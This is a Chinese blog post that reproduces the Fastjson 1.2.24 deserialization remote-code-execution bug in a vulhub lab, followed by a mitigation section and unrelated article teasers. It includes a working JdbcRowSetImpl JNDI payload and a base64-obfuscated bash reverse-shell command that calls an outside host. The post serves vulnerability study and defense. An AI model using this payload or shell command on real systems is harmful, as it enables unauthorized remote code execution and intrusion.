news 2026/4/15 17:26:57

Fastjson反序列化漏洞(1.2.24版本)

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Fastjson反序列化漏洞(1.2.24版本)

漏洞简介

漏洞成因:

首先介绍一下fastjson是什么?

Fastjson 是一个用于 Java 对象与 JSON 数据相互转换的库。

为什么会有这个漏洞呢?

原因是在低版本的fastjson中,默认开启了autotype选项,使得在反序列化json的时候,可以指定特定的类进行反序列化,
由于反序列化时,会触发类的构造函数,setter,getter或者其他隐式方法
攻击者可以通过精心构造恶意json,反序列化,触发特定的类,传入构造的参数,如果这些类的方法刚刚好使用了攻击者可控的参数,就会形成利用链,最终触发JNDI注入,实现远程代码执行

以下是一个autotype的基本用法:

{"@type":"SomeClass","url":"xxx"}

其中type参数是传入的要反序列加载的类
url相当于type类里面执行了setUrl("xxx"),会改变类里面的值

注意:不同的环境会因为Classpath不同,形成不同的Gadget/利用链

影响版本:
受fastjson影响的带漏洞版本有很多:

1.2.24及以下没有对序列化的类做校验,导致漏洞产生
1.2.25-1.2.41增加了黑名单限制,更改autoType默认为关闭选项。
1.2.42版本是对1.2.41及以下版本的黑名单绕过,代码内更新字符串黑名单hash方式
1.2.43版本是对1.2.42及以下版本的黑名单绕过
1.2.44-1.2.45版本1.2.43版本黑名单无法绕过,寻找新的利用链进行利用
1.2.47版本 利用fastjson处理Class类时的操作,将恶意类加载到缓存中,实现攻击
1.2.62-1.2.67版本Class不会再往缓存中加载恶意类,寻找新的利用链进行突破
1.2.68版本,使用期望类AutoCloseable来绕过fastjson校验
1.2.72-1.2.80使用期望类Throwable的子类,进行绕过

接下来,我复现的是1.2.24版本的fastjson

漏洞复现

环境搭建

  1. 靶机环境(使用 vulhub):
cdvulhub/fastjson/1.2.24-rcedocker-composeup -d

访问:http://靶机IP:8090

  1. 攻击机环境
    • Java-Chains(用于生成 JNDI 利用链)
    • nc/netcat(用于监听反弹 shell)
  2. 估计步骤
  • 使用javachains生成jndi的dnslog命令,检测是否出网
    post发送
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.41.128:50388/fb4ac1","autoCommit":true}}

  • 尝试命令执行反弹shell
echo"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMi4xNjcuMTY0LzQ0NDQgMD4mMQ=="|base64 -d|bash

成功反弹

原理:
通过fastjson反序列化,加载类com.sun.rowset.JdbcRowSetImpl,这个类是jdbc的数据库驱动类
先将autoCommit赋值为true,说明开启自动连接,就是在类进行初始化的时候自动执行connect()方法

为什么jdbc会调用ldap和rmi协议呢?

dataSourceName则是通过jdbc连接数据库,由于jdbc的连接操作是通过jndi接口来进行,就是会根据url前缀来选择相应的服务器提供者

URL 格式协议JNDI 服务提供者用途
rmi://host:port/nameRMIrmiURLContextFactoryJava 远程对象调用
ldap://host:port/dnLDAPldapURLContextFactory目录服务访问
dns://host/nameDNSdnsURLContextFactory域名解析
file:///pathFilefsURLContextFactory文件系统访问

简化后的连接代码:

// 简化后的关键代码publicvoidconnect()throwsSQLException{if(conn!=null)return;// 使用 JNDI 查找数据源InitialContextctx=newInitialContext();DataSourceds=(DataSource)ctx.lookup(dataSourceName);conn=ds.getConnection();}根据url前缀来选择相应的服务器提供者

漏洞防御

最根本的解决方案

将 Fastjson 升级到最新安全版本

  • 1.2.83 及以上版本:官方修复了大部分已知漏洞
  • 1.2.68 及以上版本:修复了 AutoCloseable 绕过问题
  • 建议:直接升级到最新稳定版

关闭autotype开关

在配置文件中显式关闭 AutoType(如果业务不需要):

// 全局关闭 AutoTypeParserConfig.getGlobalInstance().setAutoTypeSupport(false);// 或者创建 JSON 对象时指定JSON.parseObject(jsonString,Object.class,Feature.SupportAutoType);

配置黑白名单

白名单方式(推荐)

ParserConfigconfig=ParserConfig.getGlobalInstance();// 添加允许反序列化的类config.addAccept("com.example.safe.");config.addAccept("java.util.");// 关闭其他所有config.setAutoTypeSupport(false);

运行时安全措施

JVM 参数限制
# 禁用远程类加载-Dcom.sun.jndi.rmi.object.trustURLCodebase=false-Dcom.sun.jndi.cosnaming.object.trustURLCodebase=false#JDK6u132,7u122,8u113 及以上版本默认已设置

免责声明
本文仅用于安全研究及防御教育目的。未经授权对他人系统进行测试可能违反法律,请确保操作在合法环境下进行。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/15 14:51:02

如何在Windows和Linux上提升AirPods使用体验?5个实用技巧分享

如何在Windows和Linux上提升AirPods使用体验?5个实用技巧分享 【免费下载链接】AirPodsDesktop ☄️ AirPods desktop user experience enhancement program, for Windows and Linux (WIP) 项目地址: https://gitcode.com/gh_mirrors/ai/AirPodsDesktop 还在…

作者头像 李华
网站建设 2026/4/15 14:48:43

金融数据获取实战指南:7个核心技巧快速掌握AKShare工具

在当今数据驱动的金融投资领域,高效获取准确的市场数据已成为量化交易和投资分析的关键环节。AKShare作为一款强大的Python开源金融数据接口库,为投资者和研究人员提供了便捷的股票、基金、债券、期货等多元化金融数据获取方案。无论您是专业的量化分析师…

作者头像 李华
网站建设 2026/4/15 16:36:22

开源阅读鸿蒙版:重新定义你的数字阅读体验

开源阅读鸿蒙版:重新定义你的数字阅读体验 【免费下载链接】legado-Harmony 开源阅读鸿蒙版仓库 项目地址: https://gitcode.com/gh_mirrors/le/legado-Harmony 在信息爆炸的时代,你是否也曾为寻找一款纯净、自由、功能强大的阅读应用而烦恼&…

作者头像 李华
网站建设 2026/4/5 20:33:00

Tsukimi播放器:降低50%媒体服务器运维成本的企业级解决方案

Tsukimi播放器:降低50%媒体服务器运维成本的企业级解决方案 【免费下载链接】tsukimi A simple third-party Emby client 项目地址: https://gitcode.com/gh_mirrors/ts/tsukimi 在数字化转型浪潮中,企业媒体服务器的运维成本已成为不可忽视的负担…

作者头像 李华
网站建设 2026/3/30 22:59:02

小爱音箱终极音乐播放器:免费打造个人专属音乐库的完整指南

小爱音箱终极音乐播放器:免费打造个人专属音乐库的完整指南 【免费下载链接】xiaomusic 使用小爱同学播放音乐,音乐使用 yt-dlp 下载。 项目地址: https://gitcode.com/GitHub_Trending/xia/xiaomusic 想要让小爱音箱变身智能音乐中心吗&#xff…

作者头像 李华
网站建设 2026/4/13 11:13:24

软路由怎么搭建:多网口主板选型核心要点

软路由怎么搭建?从零看懂多网口主板选型的硬核逻辑你是不是也经历过这样的时刻:家里装了千兆宽带,却发现Wi-Fi最高速度卡在200Mbps;企业上了SD-WAN专线,防火墙却扛不住小包转发压力?当传统路由器在功能和性…

作者头像 李华